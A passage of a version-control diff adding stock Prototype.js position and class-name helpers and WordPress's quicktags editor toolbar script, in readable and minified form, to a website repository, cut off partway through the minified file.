+    this.deltaX =  window.pageXOffset
+                || document.documentElement.scrollLeft
+                || document.body.scrollLeft
+                || 0;
+    this.deltaY =  window.pageYOffset
+                || document.documentElement.scrollTop
+                || document.body.scrollTop
+                || 0;
+  },
+
+  // caches x/y coordinate pair to use with overlap
+  within: function(element, x, y) {
+    if (this.includeScrollOffsets)
+      return this.withinIncludingScrolloffsets(element, x, y);
+    this.xcomp = x;
+    this.ycomp = y;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (y >= this.offset[1] &&
+            y <  this.offset[1] + element.offsetHeight &&
+            x >= this.offset[0] &&
+            x <  this.offset[0] + element.offsetWidth);
+  },
+
+  withinIncludingScrolloffsets: function(element, x, y) {
+    var offsetcache = Element.cumulativeScrollOffset(element);
+
+    this.xcomp = x + offsetcache[0] - this.deltaX;
+    this.ycomp = y + offsetcache[1] - this.deltaY;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (this.ycomp >= this.offset[1] &&
+            this.ycomp <  this.offset[1] + element.offsetHeight &&
+            this.xcomp >= this.offset[0] &&
+            this.xcomp <  this.offset[0] + element.offsetWidth);
+  },
+
+  // within must be called directly before
+  overlap: function(mode, element) {
+    if (!mode) return 0;
+    if (mode == 'vertical')
+      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
+        element.offsetHeight;
+    if (mode == 'horizontal')
+      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
+        element.offsetWidth;
+  },
+
+  // Deprecation layer -- use newer Element methods now (1.5.2).
+
+  cumulativeOffset: Element.Methods.cumulativeOffset,
+
+  positionedOffset: Element.Methods.positionedOffset,
+
+  absolutize: function(element) {
+    Position.prepare();
+    return Element.absolutize(element);
+  },
+
+  relativize: function(element) {
+    Position.prepare();
+    return Element.relativize(element);
+  },
+
+  realOffset: Element.Methods.cumulativeScrollOffset,
+
+  offsetParent: Element.Methods.getOffsetParent,
+
+  page: Element.Methods.viewportOffset,
+
+  clone: function(source, target, options) {
+    options = options || { };
+    return Element.clonePosition(target, source, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
+  function iter(name) {
+    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
+  }
+
+  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
+  function(element, className) {
+    className = className.toString().strip();
+    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
+    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
+  } : function(element, className) {
+    className = className.toString().strip();
+    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
+    if (!classNames && !className) return elements;
+
+    var nodes = $(element).getElementsByTagName('*');
+    className = ' ' + className + ' ';
+
+    for (var i = 0, child, cn; child = nodes[i]; i++) {
+      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
+          (classNames && classNames.all(function(name) {
+            return !name.toString().blank() && cn.include(' ' + name + ' ');
+          }))))
+        elements.push(Element.extend(child));
+    }
+    return elements;
+  };
+
+  return function(className, parentElement) {
+    return $(parentElement || document.body).getElementsByClassName(className);
+  };
+}(Element.Methods);
+
+/*--------------------------------------------------------------------------*/
+
+Element.ClassNames = Class.create();
+Element.ClassNames.prototype = {
+  initialize: function(element) {
+    this.element = $(element);
+  },
+
+  _each: function(iterator) {
+    this.element.className.split(/\s+/).select(function(name) {
+      return name.length > 0;
+    })._each(iterator);
+  },
+
+  set: function(className) {
+    this.element.className = className;
+  },
+
+  add: function(classNameToAdd) {
+    if (this.include(classNameToAdd)) return;
+    this.set($A(this).concat(classNameToAdd).join(' '));
+  },
+
+  remove: function(classNameToRemove) {
+    if (!this.include(classNameToRemove)) return;
+    this.set($A(this).without(classNameToRemove).join(' '));
+  },
+
+  toString: function() {
+    return $A(this).join(' ');
+  }
+};
+
+Object.extend(Element.ClassNames.prototype, Enumerable);
+
+/*--------------------------------------------------------------------------*/
+
+Element.addMethods();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/quicktags.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/quicktags.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/quicktags.dev.js	(revision 44)
@@ -0,0 +1,577 @@
+// new edit toolbar used with permission
+// by Alex King
+// http://www.alexking.org/
+
+var edButtons = new Array(), edLinks = new Array(), edOpenTags = new Array(), now = new Date(), datetime;
+
+function edButton(id, display, tagStart, tagEnd, access, open) {
+	this.id = id;				// used to name the toolbar button
+	this.display = display;		// label on button
+	this.tagStart = tagStart; 	// open tag
+	this.tagEnd = tagEnd;		// close tag
+	this.access = access;		// access key
+	this.open = open;			// set to -1 if tag does not need to be closed
+}
+
+function zeroise(number, threshold) {
+	// FIXME: or we could use an implementation of printf in js here
+	var str = number.toString();
+	if (number < 0) { str = str.substr(1, str.length) }
+	while (str.length < threshold) { str = "0" + str }
+	if (number < 0) { str = '-' + str }
+	return str;
+}
+
+datetime = now.getUTCFullYear() + '-' +
+zeroise(now.getUTCMonth() + 1, 2) + '-' +
+zeroise(now.getUTCDate(), 2) + 'T' +
+zeroise(now.getUTCHours(), 2) + ':' +
+zeroise(now.getUTCMinutes(), 2) + ':' +
+zeroise(now.getUTCSeconds() ,2) +
+'+00:00';
+
+edButtons[edButtons.length] =
+new edButton('ed_strong'
+,'b'
+,'<strong>'
+,'</strong>'
+,'b'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_em'
+,'i'
+,'<em>'
+,'</em>'
+,'i'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_link'
+,'link'
+,''
+,'</a>'
+,'a'
+); // special case
+
+edButtons[edButtons.length] =
+new edButton('ed_block'
+,'b-quote'
+,'\n\n<blockquote>'
+,'</blockquote>\n\n'
+,'q'
+);
+
+
+edButtons[edButtons.length] =
+new edButton('ed_del'
+,'del'
+,'<del datetime="' + datetime + '">'
+,'</del>'
+,'d'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_ins'
+,'ins'
+,'<ins datetime="' + datetime + '">'
+,'</ins>'
+,'s'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_img'
+,'img'
+,''
+,''
+,'m'
+,-1
+); // special case
+
+edButtons[edButtons.length] =
+new edButton('ed_ul'
+,'ul'
+,'<ul>\n'
+,'</ul>\n\n'
+,'u'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_ol'
+,'ol'
+,'<ol>\n'
+,'</ol>\n\n'
+,'o'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_li'
+,'li'
+,'\t<li>'
+,'</li>\n'
+,'l'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_code'
+,'code'
+,'<code>'
+,'</code>'
+,'c'
+);
+
+edButtons[edButtons.length] =
+new edButton('ed_more'
+,'more'
+,'<!--more-->'
+,''
+,'t'
+,-1
+);
+/*
+edButtons[edButtons.length] =
+new edButton('ed_next'
+,'page'
+,'<!--nextpage-->'
+,''
+,'p'
+,-1
+);
+*/
+function edLink() {
+	this.display = '';
+	this.URL = '';
+	this.newWin = 0;
+}
+
+edLinks[edLinks.length] = new edLink('WordPress'
+                                    ,'http://wordpress.org/'
+                                    );
+
+edLinks[edLinks.length] = new edLink('alexking.org'
+                                    ,'http://www.alexking.org/'
+                                    );
+
+function edShowButton(button, i) {
+	if (button.id == 'ed_img') {
+		document.write('<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="edInsertImage(edCanvas);" value="' + button.display + '" />');
+	}
+	else if (button.id == 'ed_link') {
+		document.write('<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="edInsertLink(edCanvas, ' + i + ');" value="' + button.display + '" />');
+	}
+	else {
+		document.write('<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="edInsertTag(edCanvas, ' + i + ');" value="' + button.display + '"  />');
+	}
+}
+
+function edShowLinks() {
+	var tempStr = '<select onchange="edQuickLink(this.options[this.selectedIndex].value, this);"><option value="-1" selected>' + quicktagsL10n.quickLinks + '</option>', i;
+	for (i = 0; i < edLinks.length; i++) {
+		tempStr += '<option value="' + i + '">' + edLinks[i].display + '</option>';
+	}
+	tempStr += '</select>';
+	document.write(tempStr);
+}
+
+function edAddTag(button) {
+	if (edButtons[button].tagEnd != '') {
+		edOpenTags[edOpenTags.length] = button;
+		document.getElementById(edButtons[button].id).value = '/' + document.getElementById(edButtons[button].id).value;
+	}
+}
+
+function edRemoveTag(button) {
+	for (var i = 0; i < edOpenTags.length; i++) {
+		if (edOpenTags[i] == button) {
+			edOpenTags.splice(i, 1);
+			document.getElementById(edButtons[button].id).value = 		document.getElementById(edButtons[button].id).value.replace('/', '');
+		}
+	}
+}
+
+function edCheckOpenTags(button) {
+	var tag = 0, i;
+	for (i = 0; i < edOpenTags.length; i++) {
+		if (edOpenTags[i] == button) {
+			tag++;
+		}
+	}
+	if (tag > 0) {
+		return true; // tag found
+	}
+	else {
+		return false; // tag not found
+	}
+}
+
+function edCloseAllTags() {
+	var count = edOpenTags.length, o;
+	for (o = 0; o < count; o++) {
+		edInsertTag(edCanvas, edOpenTags[edOpenTags.length - 1]);
+	}
+}
+
+function edQuickLink(i, thisSelect) {
+	if (i > -1) {
+		var newWin = '', tempStr;
+		if (edLinks[i].newWin == 1) {
+			newWin = ' target="_blank"';
+		}
+		tempStr = '<a href="' + edLinks[i].URL + '"' + newWin + '>'
+		            + edLinks[i].display
+		            + '</a>';
+		thisSelect.selectedIndex = 0;
+		edInsertContent(edCanvas, tempStr);
+	}
+	else {
+		thisSelect.selectedIndex = 0;
+	}
+}
+
+function edSpell(myField) {
+	var word = '', sel, startPos, endPos;
+	if (document.selection) {
+		myField.focus();
+	    sel = document.selection.createRange();
+		if (sel.text.length > 0) {
+			word = sel.text;
+		}
+	}
+	else if (myField.selectionStart || myField.selectionStart == '0') {
+		startPos = myField.selectionStart;
+		endPos = myField.selectionEnd;
+		if (startPos != endPos) {
+			word = myField.value.substring(startPos, endPos);
+		}
+	}
+	if (word == '') {
+		word = prompt(quicktagsL10n.wordLookup, '');
+	}
+	if (word !== null && /^\w[\w ]*$/.test(word)) {
+		window.open('http://www.answers.com/' + escape(word));
+	}
+}
+
+function edToolbar() {
+	document.write('<div id="ed_toolbar">');
+	for (var i = 0; i < edButtons.length; i++) {
+		edShowButton(edButtons[i], i);
+	}
+	document.write('<input type="button" id="ed_spell" class="ed_button" onclick="edSpell(edCanvas);" title="' + quicktagsL10n.dictionaryLookup + '" value="' + quicktagsL10n.lookup + '" />');
+	document.write('<input type="button" id="ed_close" class="ed_button" onclick="edCloseAllTags();" title="' + quicktagsL10n.closeAllOpenTags + '" value="' + quicktagsL10n.closeTags + '" />');
+//	edShowLinks(); // disabled by default
+	document.write('</div>');
+}
+
+// insertion code
+
+function edInsertTag(myField, i) {
+	//IE support
+	if (document.selection) {
+		myField.focus();
+	    var sel = document.selection.createRange();
+		if (sel.text.length > 0) {
+			sel.text = edButtons[i].tagStart + sel.text + edButtons[i].tagEnd;
+		}
+		else {
+			if (!edCheckOpenTags(i) || edButtons[i].tagEnd == '') {
+				sel.text = edButtons[i].tagStart;
+				edAddTag(i);
+			}
+			else {
+				sel.text = edButtons[i].tagEnd;
+				edRemoveTag(i);
+			}
+		}
+		myField.focus();
+	}
+	//MOZILLA/NETSCAPE support
+	else if (myField.selectionStart || myField.selectionStart == '0') {
+		var startPos = myField.selectionStart, endPos = myField.selectionEnd, cursorPos = endPos, scrollTop = myField.scrollTop;
+
+		if (startPos != endPos) {
+			myField.value = myField.value.substring(0, startPos)
+			              + edButtons[i].tagStart
+			              + myField.value.substring(startPos, endPos)
+			              + edButtons[i].tagEnd
+			              + myField.value.substring(endPos, myField.value.length);
+			cursorPos += edButtons[i].tagStart.length + edButtons[i].tagEnd.length;
+		}
+		else {
+			if (!edCheckOpenTags(i) || edButtons[i].tagEnd == '') {
+				myField.value = myField.value.substring(0, startPos)
+				              + edButtons[i].tagStart
+				              + myField.value.substring(endPos, myField.value.length);
+				edAddTag(i);
+				cursorPos = startPos + edButtons[i].tagStart.length;
+			}
+			else {
+				myField.value = myField.value.substring(0, startPos)
+				              + edButtons[i].tagEnd
+				              + myField.value.substring(endPos, myField.value.length);
+				edRemoveTag(i);
+				cursorPos = startPos + edButtons[i].tagEnd.length;
+			}
+		}
+		myField.focus();
+		myField.selectionStart = cursorPos;
+		myField.selectionEnd = cursorPos;
+		myField.scrollTop = scrollTop;
+	}
+	else {
+		if (!edCheckOpenTags(i) || edButtons[i].tagEnd == '') {
+			myField.value += edButtons[i].tagStart;
+			edAddTag(i);
+		}
+		else {
+			myField.value += edButtons[i].tagEnd;
+			edRemoveTag(i);
+		}
+		myField.focus();
+	}
+}
+
+function edInsertContent(myField, myValue) {
+	var sel, startPos, endPos, scrollTop;
+	
+	//IE support
+	if (document.selection) {
+		myField.focus();
+		sel = document.selection.createRange();
+		sel.text = myValue;
+		myField.focus();
+	}
+	//MOZILLA/NETSCAPE support
+	else if (myField.selectionStart || myField.selectionStart == '0') {
+		startPos = myField.selectionStart;
+		endPos = myField.selectionEnd;
+		scrollTop = myField.scrollTop;
+		myField.value = myField.value.substring(0, startPos)
+		              + myValue
+                      + myField.value.substring(endPos, myField.value.length);
+		myField.focus();
+		myField.selectionStart = startPos + myValue.length;
+		myField.selectionEnd = startPos + myValue.length;
+		myField.scrollTop = scrollTop;
+	} else {
+		myField.value += myValue;
+		myField.focus();
+	}
+}
+
+function edInsertLink(myField, i, defaultValue) {
+	if (!defaultValue) {
+		defaultValue = 'http://';
+	}
+	if (!edCheckOpenTags(i)) {
+		var URL = prompt(quicktagsL10n.enterURL, defaultValue);
+		if (URL) {
+			edButtons[i].tagStart = '<a href="' + URL + '">';
+			edInsertTag(myField, i);
+		}
+	}
+	else {
+		edInsertTag(myField, i);
+	}
+}
+
+function edInsertImage(myField) {
+	var myValue = prompt(quicktagsL10n.enterImageURL, 'http://');
+	if (myValue) {
+		myValue = '<img src="'
+				+ myValue
+				+ '" alt="' + prompt(quicktagsL10n.enterImageDescription, '')
+				+ '" />';
+		edInsertContent(myField, myValue);
+	}
+}
+
+
+// Allow multiple instances.
+// Name = unique value, id = textarea id, container = container div.
+// Can disable some buttons by passing comma delimited string as 4th param.
+var QTags = function(name, id, container, disabled) {
+	var t = this, cont = document.getElementById(container), i, tag, tb, html, sel;
+
+	t.Buttons = [];
+	t.Links = [];
+	t.OpenTags = [];
+	t.Canvas = document.getElementById(id);
+
+	if ( ! t.Canvas || ! cont )
+		return;
+
+	disabled = ( typeof disabled != 'undefined' ) ? ','+disabled+',' : '';
+
+	t.edShowButton = function(button, i) {
+		if ( disabled && (disabled.indexOf(','+button.display+',') != -1) )
+			return '';
+		else if ( button.id == name+'_img' )
+			return '<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="edInsertImage('+name+'.Canvas);" value="' + button.display + '" />';
+		else if (button.id == name+'_link')
+			return '<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="'+name+'.edInsertLink('+i+');" value="'+button.display+'" />';
+		else
+			return '<input type="button" id="' + button.id + '" accesskey="'+button.access+'" class="ed_button" onclick="'+name+'.edInsertTag('+i+');" value="'+button.display+'" />';
+	};
+
+	t.edAddTag = function(button) {
+		if ( t.Buttons[button].tagEnd != '' ) {
+			t.OpenTags[t.OpenTags.length] = button;
+			document.getElementById(t.Buttons[button].id).value = '/' + document.getElementById(t.Buttons[button].id).value;
+		}
+	};
+
+	t.edRemoveTag = function(button) {
+		for ( i = 0; i < t.OpenTags.length; i++ ) {
+			if ( t.OpenTags[i] == button ) {
+				t.OpenTags.splice(i, 1);
+				document.getElementById(t.Buttons[button].id).value = document.getElementById(t.Buttons[button].id).value.replace('/', '');
+			}
+		}
+	};
+
+	t.edCheckOpenTags = function(button) {
+		tag = 0;
+		for ( var i = 0; i < t.OpenTags.length; i++ ) {
+			if ( t.OpenTags[i] == button )
+				tag++;
+		}
+		if ( tag > 0 ) return true; // tag found
+		else return false; // tag not found
+	};
+
+	this.edCloseAllTags = function() {
+		var count = t.OpenTags.length;
+		for ( var o = 0; o < count; o++ )
+			t.edInsertTag(t.OpenTags[t.OpenTags.length - 1]);
+	};
+
+	this.edQuickLink = function(i, thisSelect) {
+		if ( i > -1 ) {
+			var newWin = '', tempStr;
+			if ( Links[i].newWin == 1 ) {
+				newWin = ' target="_blank"';
+			}
+			tempStr = '<a href="' + Links[i].URL + '"' + newWin + '>'
+			            + Links[i].display
+			            + '</a>';
+			thisSelect.selectedIndex = 0;
+			edInsertContent(t.Canvas, tempStr);
+		} else {
+			thisSelect.selectedIndex = 0;
+		}
+	};
+
+	// insertion code
+	t.edInsertTag = function(i) {
+		//IE support
+		if ( document.selection ) {
+			t.Canvas.focus();
+		    sel = document.selection.createRange();
+			if ( sel.text.length > 0 ) {
+				sel.text = t.Buttons[i].tagStart + sel.text + t.Buttons[i].tagEnd;
+			} else {
+				if ( ! t.edCheckOpenTags(i) || t.Buttons[i].tagEnd == '' ) {
+					sel.text = t.Buttons[i].tagStart;
+					t.edAddTag(i);
+				} else {
+					sel.text = t.Buttons[i].tagEnd;
+					t.edRemoveTag(i);
+				}
+			}
+			t.Canvas.focus();
+		} else if ( t.Canvas.selectionStart || t.Canvas.selectionStart == '0' ) { //MOZILLA/NETSCAPE support
+			var startPos = t.Canvas.selectionStart, endPos = t.Canvas.selectionEnd, cursorPos = endPos, scrollTop = t.Canvas.scrollTop;
+
+			if ( startPos != endPos ) {
+				t.Canvas.value = t.Canvas.value.substring(0, startPos)
+				              + t.Buttons[i].tagStart
+				              + t.Canvas.value.substring(startPos, endPos)
+				              + t.Buttons[i].tagEnd
+				              + t.Canvas.value.substring(endPos, t.Canvas.value.length);
+				cursorPos += t.Buttons[i].tagStart.length + t.Buttons[i].tagEnd.length;
+			} else {
+				if ( !t.edCheckOpenTags(i) || t.Buttons[i].tagEnd == '' ) {
+					t.Canvas.value = t.Canvas.value.substring(0, startPos)
+					              + t.Buttons[i].tagStart
+					              + t.Canvas.value.substring(endPos, t.Canvas.value.length);
+					t.edAddTag(i);
+					cursorPos = startPos + t.Buttons[i].tagStart.length;
+				} else {
+					t.Canvas.value = t.Canvas.value.substring(0, startPos)
+					              + t.Buttons[i].tagEnd
+					              + t.Canvas.value.substring(endPos, t.Canvas.value.length);
+					t.edRemoveTag(i);
+					cursorPos = startPos + t.Buttons[i].tagEnd.length;
+				}
+			}
+			t.Canvas.focus();
+			t.Canvas.selectionStart = cursorPos;
+			t.Canvas.selectionEnd = cursorPos;
+			t.Canvas.scrollTop = scrollTop;
+		} else {
+			if ( ! t.edCheckOpenTags(i) || t.Buttons[i].tagEnd == '' ) {
+				t.Canvas.value += Buttons[i].tagStart;
+				t.edAddTag(i);
+			} else {
+				t.Canvas.value += Buttons[i].tagEnd;
+				t.edRemoveTag(i);
+			}
+			t.Canvas.focus();
+		}
+	};
+
+	this.edInsertLink = function(i, defaultValue) {
+		if ( ! defaultValue )
+			defaultValue = 'http://';
+
+		if ( ! t.edCheckOpenTags(i) ) {
+			var URL = prompt(quicktagsL10n.enterURL, defaultValue);
+			if ( URL ) {
+				t.Buttons[i].tagStart = '<a href="' + URL + '">';
+				t.edInsertTag(i);
+			}
+		} else {
+			t.edInsertTag(i);
+		}
+	};
+
+	this.edInsertImage = function() {
+		var myValue = prompt(quicktagsL10n.enterImageURL, 'http://');
+		if ( myValue ) {
+			myValue = '<img src="'
+					+ myValue
+					+ '" alt="' + prompt(quicktagsL10n.enterImageDescription, '')
+					+ '" />';
+			edInsertContent(t.Canvas, myValue);
+		}
+	};
+
+	t.Buttons[t.Buttons.length] = new edButton(name+'_strong','b','<strong>','</strong>','b');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_em','i','<em>','</em>','i');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_link','link','','</a>','a'); // special case
+	t.Buttons[t.Buttons.length] = new edButton(name+'_block','b-quote','\n\n<blockquote>','</blockquote>\n\n','q');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_del','del','<del datetime="' + datetime + '">','</del>','d');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_ins','ins','<ins datetime="' + datetime + '">','</ins>','s');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_img','img','','','m',-1); // special case
+	t.Buttons[t.Buttons.length] = new edButton(name+'_ul','ul','<ul>\n','</ul>\n\n','u');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_ol','ol','<ol>\n','</ol>\n\n','o');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_li','li','\t<li>','</li>\n','l');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_code','code','<code>','</code>','c');
+	t.Buttons[t.Buttons.length] = new edButton(name+'_more','more','<!--more-->','','t',-1);
+//	t.Buttons[t.Buttons.length] = new edButton(name+'_next','page','<!--nextpage-->','','p',-1);
+
+	tb = document.createElement('div');
+	tb.id = name+'_qtags';
+
+	html = '<div id="'+name+'_toolbar">';
+	for (i = 0; i < t.Buttons.length; i++)
+		html += t.edShowButton(t.Buttons[i], i);
+
+	html += '<input type="button" id="'+name+'_ed_spell" class="ed_button" onclick="edSpell('+name+'.Canvas);" title="' + quicktagsL10n.dictionaryLookup + '" value="' + quicktagsL10n.lookup + '" />';
+	html += '<input type="button" id="'+name+'_ed_close" class="ed_button" onclick="'+name+'.edCloseAllTags();" title="' + quicktagsL10n.closeAllOpenTags + '" value="' + quicktagsL10n.closeTags + '" /></div>';
+
+	tb.innerHTML = html;
+	cont.parentNode.insertBefore(tb, cont);
+
+};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/quicktags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/quicktags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/quicktags.js	(revision 44)
@@ -0,0 +1,1 @@
+var edButtons=new Array(),edLinks=new Array(),edOpenTags=new Array(),now=new Date(),datetime;function edButton(f,e,c,b,a,d){this.id=f;this.display=e;this.tagStart=c;this.tagEnd=b;this.access=a;this.open=d}function zeroise(b,a){var c=b.toString();if(b<0){c=c.substr(1,c.length)}while(c.length<a){c="0"+c}if(b<0){c="-"+c}return c}datetime=now.getUTCFullYear()+"-"+zeroise(now.getUTCMonth()+1,2)+"-"+zeroise(now.getUTCDate(),2)+"T"+zeroise(now.getUTCHours(),2)+":"+zeroise(now.getUTCMinutes(),2)+":"+zeroise(now.getUTCSeconds(),2)+"+00:00";edButtons[edButtons.length]=new edButton("ed_strong","b","<strong>","</strong>","b");edButtons[edButtons.length]=new edButton("ed_em","i","<em>","</em>","i");edButtons[edButtons.length]=new edButton("ed_link","link","","</a>","a");edButtons[edButtons.length]=new edButton("ed_block","b-quote","\n\n<blockquote>","</blockquote>\n\n","q");edButtons[edButtons.length]=new edButton("ed_del","del",'<del datetime="'+datetime+'">',"</del>","d");edButtons[edButtons.length]=new edButton("ed_ins","ins",'<ins datetime="'+datetime+'">',"</ins>","s");edButtons[edButtons.length]=new edButton("ed_img","img","","","m",-1);edButtons[edButtons.length]=new edButton("ed_ul","ul","<ul>\n","</ul>\n\n","u");edButtons[edButtons.length]=new edButton("ed_ol","ol","<ol>\n","</ol>\n\n","o");edButtons[edButtons.length]=new edButton("ed_li","li","\t<li>","</li>\n","l");edButtons[edButtons.length]=new edButton("ed_code","code","<code>","</code>","c");edButtons[edButtons.length]=new edButton("ed_more","more","<!--more-->","","t",-1);function edLink(){this.display="";this.URL="";this.newWin=0}edLinks[edLinks.length]=new edLink("WordPress","http://wordpress.org/");edLinks[edLinks.length]=new edLink("alexking.org","http://www.alexking.org/");function edShowButton(b,a){if(b.id=="ed_img"){document.write('<input type="button" id="'+b.id+'" accesskey="'+b.access+'" class="ed_button" onclick="edInsertImage(edCanvas);" value="'+b.display+'" />')}else{if(b.id=="ed_link"){document.write('<input type="button" id="'+b.id+'" accesskey="'+b.access+'" class="ed_button" onclick="edInsertLink(edCanvas, '+a+');" value="'+b.display+'" />')}else{document.write('<input type="button" id="'+b.id+'" accesskey="'+b.access+'" class="ed_button" onclick="edInsertTag(edCanvas, '+a+');" value="'+b.display+'"  />')}}}function edShowLinks(){var a='<select onchange="edQuickLink(this.options[this.selectedIndex].value, this);"><option value="-1" selected>'+quicktagsL10n.quickLinks+"</option>",b;for(b=0;b<edLinks.length;b++){a+='<option value="'+b+'">'+edLinks[b].display+"</option>"}a+="</select>";document.write(a)}function edAddTag(a){if(edButtons[a].tagEnd!=""){edOpenTags[edOpenTags.length]=a;document.getElementById(edButtons[a].id).value="/"+document.getElementById(edButtons[a].id).value}}function edRemoveTag(b){for(var a=0;a<edOpenTags.length;a++){if(edOpenTags[a]==b){edOpenTags.splice(a,1);document.getElementById(edButtons[b].id).value=document.getElementById(edButtons[b].id).value.replace("/","")}}}function edCheckOpenTags(c){var a=0,b;for(b=0;b<edOpenTags.length;b++){if(edOpenTags[b]==c){a++}}if(a>0){return true}else{return false}}function edCloseAllTags(){var a=edOpenTags.length,b;for(b=0;b<a;b++){edInsertTag(edCanvas,edOpenTags[edOpenTags.length-1])}}function edQuickLink(c,d){if(c>-1){var b="",a;if(edLinks[c].newWin==1){b=' target="_blank"'}a='<a href="'+edLinks[c].URL+'"'+b+">"+edLinks[c].display+"</a>";d.selectedIndex=0;edInsertContent(edCanvas,a)}else{d.selectedIndex=0}}function edSpell(c){var e="",d,b,a;if(document.selection){c.focus();d=document.selection.createRange();if(d.text.length>0){e=d.text}}else{if(c.selectionStart||c.selectionStart=="0"){b=c.selectionStart;a=c.selectionEnd;if(b!=a){e=c.value.substring(b,a)}}}if(e==""){e=prompt(quicktagsL10n.wordLookup,"")}if(e!==null&&/^\w[\w ]*$/.test(e)){window.open("http://www.answers.com/"+escape(e))}}function edToolbar(){document.write('<div id="ed_toolbar">');for(var a=0;a<edButtons.length;a++){edShowButton(edButtons[a],a)}document.write('<input type="button" id="ed_spell" class="ed_button" onclick="edSpell(edCanvas);" title="'+quicktagsL10n.dictionaryLookup+'" value="'+quicktagsL10n.lookup+'" />');document.write('<input type="button" id="ed_close" class="ed_button" onclick="edCloseAllTags();" title="'+quicktagsL10n.closeAllOpenTags+'" value="'+quicktagsL10n.closeTags+'" />');document.write("</div>")}function edInsertTag(d,c){if(document.selection){d.focus();var e=document.selection.createRange();if(e.text.length>0){e.text=edButtons[c].tagStart+e.text+edButtons[c].tagEnd}else{if(!edCheckOpenTags(c)||edButtons[c].tagEnd==""){e.text=edButtons[c].tagStart;edAddTag(c)}else{e.text=edButtons[c].tagEnd;edRemoveTag(c)}}d.focus()}else{if(d.selectionStart||d.selectionStart=="0"){var b=d.selectionStart,a=d.selectionEnd,g=a,f=d.scrollTop;if(b!=a){d.value=d.value.substring(0,b)+edButtons[c].tagStart+d.value.substring(b,a)+edButtons[c].tagEnd+d.value.substring(a,d.value.length);g+=edButtons[c].tagStart.length+edButtons[c].tagEnd.length}else{if(!edCheckOpenTags(c)||edButtons[c].tagEnd==""){d.value=d.value.substring(0,b)+edButtons[c].tagStart+d.value.substring(a,d.value.length);edAddTag(c);g=b+edButtons[c].tagStart.length}else{d.value=d.value.substring(0,b)+edButtons[c].tagEnd+d.value.substring(a,d.value.length);edRemoveTag(c);g=b+edButtons[c].tagEnd.length}}d.focus();d.selectionStart=g;d.selectionEnd=g;d.scrollTop=f}else{if(!edCheckOpenTags(c)||edButtons[c].tagEnd==""){d.value+=edButtons[c].tagStart;edAddTag(c)}else{d.value+=edButtons[c].tagEnd;edRemoveTag(c)}d.focus()}}}function edInsertContent(d,c){var e,b,a,f;if(document.selection){d.focus();e=document.selection.createRange();e.text=c;d.focus()}else{if(d.selectionStart||d.selectionStart=="0"){b=d.selectionStart;a=d.selectionEnd;f=d.scrollTop;d.value=d.value.substring(0,b)+c+d.value.substring(a,d.value.length);d.focus();d.selectionStart=b+c.length;d.selectionEnd=b+c.length;d.scrollTop=f}else{d.value+=c;d.focus()}}}function edInsertLink(d,c,b){if(!b){b="http://"}if(!edCheckOpenTags(c)){var a=prompt(quicktagsL10n.enterURL,b);if(a){edButtons[c].tagStart='<a href="'+a+'">';edInsertTag(d,c)}}else{edInsertTag(d,c)}}function edInsertImage(b){var a=prompt(quicktagsL10n.enterImageURL,"http://");if(a){a='<img src="'+a+'" alt="'+prompt(quicktagsL10n.enterImageDescription,"")+'" />';edInsertContent(b,a)}}var QTags=function(a,c,b,f){var j=this,k=document.getElementById(b),g,l,e,h,d;j.Buttons=[];j.Links=[];j.OpenTags=[];j.Canvas=document.getElementById(c);if(!j.Canvas||!k){return}f=(typeof f!="undefined")?","+f+",":"";j.edShowButton=function(n,m){if(f&&(f.indexOf(","+n.display+",")!=-1)){return""}else{if(n.id==a+"_img"){return'<input type="button" id="'+n.id+'" accesskey="'+n.access+'" class="ed_button" onclick="edInsertImage('+a+'.Canvas);" value="'+n.display+'" />'}else{if(n.id==a+"_link"){return'<input type="button" id="'+n.id+'" accesskey="'+n.access+'" class="ed_button" onclick="'+a+".edInsertLink("+m+');" value="'+n.display+'" />'}else{return'<input type="button" id="'+n.id+'" accesskey="'+n.access+'" class="ed_button" onclick="'+a+".edInsertTag("+m+');" value="'+n.display+'" 